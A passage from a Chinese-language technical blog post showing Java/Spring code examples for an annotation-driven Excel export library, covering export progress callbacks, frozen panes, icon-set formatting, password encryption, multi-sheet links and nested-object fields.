延迟关闭连接，给前端足够时间主动关闭（避免触发前端 onerror）  </span></span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;  </span><br><span class="line">                <span class="keyword">try</span> &#123;  </span><br><span class="line">                    Thread.sleep(<span class="number">5000</span>);  <span class="comment">// 延长到 5 秒，让前端有足够时间主动关闭  </span></span><br><span class="line">                    progressService.closeEmitter(sessionId);  </span><br><span class="line">                &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;  </span><br><span class="line">                    Thread.currentThread().interrupt();  </span><br><span class="line">                &#125;            &#125;).start();        &#125;    &#125;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onError</span><span class="params">(Exception exception, String sheetName)</span> &#123;  </span><br><span class="line">        log.error(<span class="string">&quot;========== 导出失败 ==========&quot;</span>);  </span><br><span class="line">        log.error(<span class="string">&quot;Sheet名称: &#123;&#125;&quot;</span>, sheetName);  </span><br><span class="line">        log.error(<span class="string">&quot;错误信息: &#123;&#125;&quot;</span>, exception.getMessage(), exception);  </span><br><span class="line">  </span><br><span class="line">        <span class="type">String</span> <span class="variable">sessionId</span> <span class="operator">=</span> getSessionId();  </span><br><span class="line">        <span class="keyword">if</span> (sessionId != <span class="literal">null</span>) &#123;  </span><br><span class="line">            progressService.sendProgress(sessionId,  </span><br><span class="line">                ProgressService.ProgressMessage.error(sheetName, exception.getMessage()));  </span><br><span class="line">            progressService.closeEmitter(sessionId);  </span><br><span class="line">        &#125;    &#125;  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 从请求参数中获取 sessionId  </span></span><br><span class="line"><span class="comment">     */</span>    <span class="keyword">private</span> String <span class="title function_">getSessionId</span><span class="params">()</span> &#123;  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            <span class="type">ServletRequestAttributes</span> <span class="variable">attributes</span> <span class="operator">=</span> (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();  </span><br><span class="line">            <span class="keyword">if</span> (attributes != <span class="literal">null</span>) &#123;  </span><br><span class="line">                <span class="keyword">return</span> attributes.getRequest().getParameter(<span class="string">&quot;sessionId&quot;</span>);  </span><br><span class="line">            &#125;        &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">            log.warn(<span class="string">&quot;无法获取 sessionId: &#123;&#125;&quot;</span>, e.getMessage());  </span><br><span class="line">        &#125;        <span class="keyword">return</span> <span class="literal">null</span>;  </span><br><span class="line">    &#125;&#125;</span><br></pre></td></tr></table></figure><h3 id="冻结窗格和筛选">冻结窗格和筛选</h3><p>当前示例为将第一行冻结，无论你滚动到哪一行可以保证知道某列是干什么的，同时实现某一列的筛选功能。说实话这玩意完全可以导出后自己设置一下，但是如果你遇到操作excel有很大进步空间的的现场运维，那么这个功能还是有点意义的。看下方示例的<code>ExcelSheetStyle</code>注解。<br>实现代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/formula&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;销售统计数据&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;销售统计&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;FormulaDataDTO&gt; <span class="title function_">formulaExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateFormulaData(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="meta">@ExcelSheetStyle(  </span></span><br><span class="line"><span class="meta">    freezeRow = 1,  </span></span><br><span class="line"><span class="meta">    autoFilter = true,  </span></span><br><span class="line"><span class="meta">    defaultColumnWidth = 15  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FormulaDataDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Product Name&quot;, index = 0)</span>  </span><br><span class="line">    <span class="keyword">private</span> String productName;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Unit Price&quot;, index = 1)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal unitPrice;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Quantity&quot;, index = 2)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer quantity;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Total Price&quot;, index = 3)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal totalPrice;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Tax (10%)&quot;, index = 4)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal taxAmount;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Final Amount&quot;, index = 5)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal finalAmount;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际效果(不是2-10没了，是我往下滚动隐藏了，体现了冻结窗口之功能)：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/ee1e3c755be509b38a82519a9c3f575e.png" alt=""></p><h3 id="图标集">图标集</h3><p>该功能是为了让冰冷无趣的文字鲜活一些，说直白一点就是没什么卵用的功能。既然是没啥用的功能，我就不详细说了，贴个代码示例，有兴趣的去看源码好了。<br>实现效果：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/891a967c1ef804cd8244350322b5a174.png" alt=""><br>代码示例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/conditional-format&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;员工绩效-条件格式&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;员工绩效&quot;),  </span></span><br><span class="line"><span class="meta">    writeHandler = &#123;ConditionalFormatWriteHandler.class&#125;  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;PerformanceDataDTO&gt; <span class="title function_">conditionalFormatExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;15&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generatePerformanceData(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PerformanceDataDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Employee&quot;, index = 0)</span>  </span><br><span class="line">    <span class="keyword">private</span> String employeeName;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Department&quot;, index = 1)</span>  </span><br><span class="line">    <span class="keyword">private</span> String department;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Score&quot;, index = 2)</span>  </span><br><span class="line">    <span class="meta">@ConditionalFormat(  </span></span><br><span class="line"><span class="meta">        type = ConditionalFormat.FormatType.ICON_SET,  </span></span><br><span class="line"><span class="meta">        iconSet = ConditionalFormat.IconSetType.THREE_TRAFFIC_LIGHTS_1  </span></span><br><span class="line"><span class="meta">    )</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer score;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Sales Amount&quot;, index = 3)</span>  </span><br><span class="line">    <span class="meta">@ConditionalFormat(  </span></span><br><span class="line"><span class="meta">        type = ConditionalFormat.FormatType.ICON_SET,  </span></span><br><span class="line"><span class="meta">        iconSet = ConditionalFormat.IconSetType.THREE_ARROWS  </span></span><br><span class="line"><span class="meta">    )</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal sales;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;Completion Rate&quot;, index = 4)</span>  </span><br><span class="line">    <span class="meta">@ConditionalFormat(  </span></span><br><span class="line"><span class="meta">        type = ConditionalFormat.FormatType.ICON_SET,  </span></span><br><span class="line"><span class="meta">        iconSet = ConditionalFormat.IconSetType.THREE_FLAGS  </span></span><br><span class="line"><span class="meta">    )</span>  </span><br><span class="line">    <span class="keyword">private</span> Double completionRate;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Excel-加密">Excel 加密</h3><p>包含两种方式，一种简单的设置即可，还有一种是自定义加密算法(这种方法不支持注解形式，但是我会提供示例)<br>这是简单加密的示例，看到那个password属性没，加个这玩意即可。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">GetMapping(<span class="string">&quot;/encrypted&quot;</span>)  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;加密文件-密码password123&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;敏感数据&quot;),  </span></span><br><span class="line"><span class="meta">    password = &quot;password123&quot;  // ✨ 使用注解方式设置密码  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;SensitiveUserDTO&gt; <span class="title function_">encryptedExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;20&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateSensitiveUsers(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这是指定加密算法的方式，<strong>非注解</strong>，根据传入的密码加密</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/encrypted-advanced&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">encryptedAdvancedExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;20&quot;)</span> <span class="type">int</span> count,  </span></span><br><span class="line"><span class="params">                                    <span class="meta">@RequestParam(defaultValue = &quot;password123&quot;)</span> String password,  </span></span><br><span class="line"><span class="params">                                    HttpServletResponse response)</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    List&lt;SensitiveUserDTO&gt; data = testDataService.generateSensitiveUsers(count);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 先导出到临时文件  </span></span><br><span class="line">    <span class="type">File</span> <span class="variable">tempFile</span> <span class="operator">=</span> File.createTempFile(<span class="string">&quot;excel_&quot;</span>, <span class="string">&quot;.xlsx&quot;</span>);  </span><br><span class="line">    tempFile.deleteOnExit();  </span><br><span class="line">    EasyExcel.write(tempFile, SensitiveUserDTO.class)  </span><br><span class="line">        .sheet(<span class="string">&quot;敏感数据&quot;</span>)  </span><br><span class="line">        .doWrite(data);  </span><br><span class="line">    <span class="comment">// 使用 AGILE 算法加密文件  </span></span><br><span class="line">    <span class="type">File</span> <span class="variable">encryptedFile</span> <span class="operator">=</span> File.createTempFile(<span class="string">&quot;encrypted_&quot;</span>, <span class="string">&quot;.xlsx&quot;</span>);  </span><br><span class="line">    encryptedFile.deleteOnExit();  </span><br><span class="line">    ExcelEncryptionUtil.encryptFile(  </span><br><span class="line">        tempFile,        encryptedFile,        password,        ExcelEncryption.EncryptionAlgorithm.AGILE  </span><br><span class="line">    );  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 设置响应头  </span></span><br><span class="line">    response.setContentType(<span class="string">&quot;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&quot;</span>);  </span><br><span class="line">    response.setCharacterEncoding(<span class="string">&quot;utf-8&quot;</span>);  </span><br><span class="line">    <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> URLEncoder.encode(<span class="string">&quot;加密文件-AGILE-密码&quot;</span> + password, <span class="string">&quot;UTF-8&quot;</span>).replaceAll(<span class="string">&quot;\\+&quot;</span>, <span class="string">&quot;%20&quot;</span>);  </span><br><span class="line">    response.setHeader(<span class="string">&quot;Content-disposition&quot;</span>, <span class="string">&quot;attachment;filename*=utf-8&#x27;&#x27;&quot;</span> + fileName + <span class="string">&quot;.xlsx&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 输出加密文件  </span></span><br><span class="line">    <span class="keyword">try</span> (<span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(encryptedFile)) &#123;  </span><br><span class="line">        <span class="type">byte</span>[] buffer = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">8192</span>];  </span><br><span class="line">        <span class="type">int</span> bytesRead;  </span><br><span class="line">        <span class="keyword">while</span> ((bytesRead = fis.read(buffer)) != -<span class="number">1</span>) &#123;  </span><br><span class="line">            response.getOutputStream().write(buffer, <span class="number">0</span>, bytesRead);  </span><br><span class="line">        &#125;    &#125;  </span><br><span class="line">    <span class="comment">// 清理临时文件  </span></span><br><span class="line">    tempFile.delete();  </span><br><span class="line">    encryptedFile.delete();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="多-Sheet-关联导出">多 Sheet 关联导出</h3><p>可能会有人问，前面一篇明明有过多sheet啊，实际上并不是同一种用法。前一篇是通过返回list的list实现，这边是视图对象中有额外的对象list，所以说完全是两种截然不同的实现。看示例代码</p><p>示例代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/multi-sheet&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;订单及明细-多Sheet&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;订单&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;MultiSheetOrderDTO&gt; <span class="title function_">multiSheetExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;5&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateMultiSheetOrders(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@Builder</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MultiSheetOrderDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 订单号  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;订单号&quot;, index = 0)</span>  </span><br><span class="line">    <span class="keyword">private</span> String orderNo;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 客户名称  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;客户名称&quot;, index = 1)</span>  </span><br><span class="line">    <span class="keyword">private</span> String customerName;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 订单金额  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;订单金额&quot;, index = 2)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal totalAmount;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 订单状态  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;订单状态&quot;, index = 3)</span>  </span><br><span class="line">    <span class="keyword">private</span> String status;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 创建时间  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;创建时间&quot;, index = 4)</span>  </span><br><span class="line">    <span class="keyword">private</span> LocalDateTime createTime;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 明细数量  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;明细数量&quot;, index = 5)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer itemCount;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 订单明细（导出到关联 Sheet）  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;操作&quot;, index = 6)</span>  </span><br><span class="line">    <span class="meta">@RelatedSheet(sheetName = &quot;订单明细&quot;, relationKey = &quot;orderNo&quot;, dataType = MultiSheetOrderItemDTO.class, createHyperlink = true, hyperlinkText = &quot;查看明细&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;MultiSheetOrderItemDTO&gt; items;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="嵌套对象">嵌套对象</h3><p>上面是视图对象中有对象的list，那么肯定也会存在对象中有对象的情况，对象的对象中还有对象，那么肯定就会存在某干层级下有所需字段的情况：<br>以下代码包含了多种不同的情况所以稍微有点复杂，包括了嵌套单个对象，嵌套基本类型的列表，嵌套Map，看代码和结果理解：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/nested-property&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(  </span></span><br><span class="line"><span class="meta">    name = &quot;嵌套对象示例&quot;,  </span></span><br><span class="line"><span class="meta">    sheets = @Sheet(sheetName = &quot;员工信息&quot;)  </span></span><br><span class="line"><span class="meta">)</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;NestedPropertyExampleDTO&gt; <span class="title function_">nestedPropertyExport</span><span class="params">(<span class="meta">@RequestParam(defaultValue = &quot;10&quot;)</span> <span class="type">int</span> count)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> testDataService.generateNestedPropertyExamples(count);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NestedPropertyExampleDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;员工ID&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;员工姓名&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// ==================== 单层嵌套对象 ====================  </span></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;部门名称&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(&quot;name&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Department department;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;部门编码&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;code&quot;, nullValue = &quot;未分配&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Department department2;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// ==================== 多层嵌套对象 ====================  </span></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;直属领导&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;leader.name&quot;, nullValue = &quot;暂无&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Department department3;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;领导电话&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;leader.phone&quot;, nullValue = &quot;-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Department department4;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// ==================== 集合类型 ====================  </span></span><br><span class="line">    <span class="comment">// 技能列表（内部字段，不导出）  </span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; skills;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;主要技能&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;[0]&quot;, nullValue = &quot;无&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; mainSkill;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;所有技能&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;[*]&quot;, separator = &quot;,&quot;, maxJoinSize = 5)</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; allSkills;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// ==================== Map 类型 ====================  </span></span><br><span class="line">    <span class="comment">// 扩展属性（内部字段，不导出）  </span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span>  </span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; properties;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;工作城市&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;[city]&quot;, nullValue = &quot;-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; city;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;入职年份&quot;, converter = NestedObjectConverter.class)</span>  </span><br><span class="line">    <span class="meta">@NestedProperty(value = &quot;[joinYear]&quot;, nullValue = &quot;-&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; joinYear;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际导出的excel为（第一个红框是对象的对象中的内容，第二个框为对象的对象的对象中的内容，第三个箭头为list只获取第一个的情况，第四个箭头为获取所有list数据并用逗号分隔的情况，最后俩箭头就是从Map中取数据的情况，不要被最后俩map字段名称搞混，实际上上面的[city]和[joinYear]是map的key）：<br>![[Pasted image 20251123194422.png]]</p><h3 id="嵌套对象自动横展开">嵌套对象自动横展开</h3><p>上面的一个示例讲的是从对象的对象中获取一个值的方法，这个示例讲的是讲对象中的对象所有值都带上并展示到excel中的方法。<br>代码示例（注意看department、parentDept、managerDept三个字段）：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span 